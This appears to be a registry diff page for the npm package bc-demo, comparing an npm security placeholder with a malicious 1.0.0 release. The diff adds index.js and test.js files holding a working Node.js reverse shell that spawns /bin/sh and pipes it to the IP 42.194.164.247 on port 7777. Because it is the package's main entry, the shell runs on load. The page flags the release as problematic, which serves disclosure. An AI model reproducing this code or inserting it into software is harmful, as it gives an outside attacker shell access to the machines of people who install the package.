bc-demo 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bc-demo might be problematic. Click here for more details.

package/ctf/exploit.js ADDED
@@ -0,0 +1,2 @@
1
+ const exp = require('./test.js')
2
+ exp.evil()
package/ctf/test.js ADDED
@@ -0,0 +1,14 @@
1
+ evil = function() {
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("/bin/sh", []);
5
+ var client = new net.Socket();
6
+ client.connect(7777, "42.194.164.247", function() {
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application form crashing
12
+ }
13
+
14
+ exports.evil = evil
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ const exp = require('./test.js')
2
+ exp.evil()
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "bc-demo",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "whoami"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/test.js ADDED
@@ -0,0 +1,14 @@
1
+ evil = function() {
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("/bin/sh", []);
5
+ var client = new net.Socket();
6
+ client.connect(7777, "42.194.164.247", function() {
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application form crashing
12
+ }
13
+
14
+ exports.evil = evil
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=bc-demo for more information.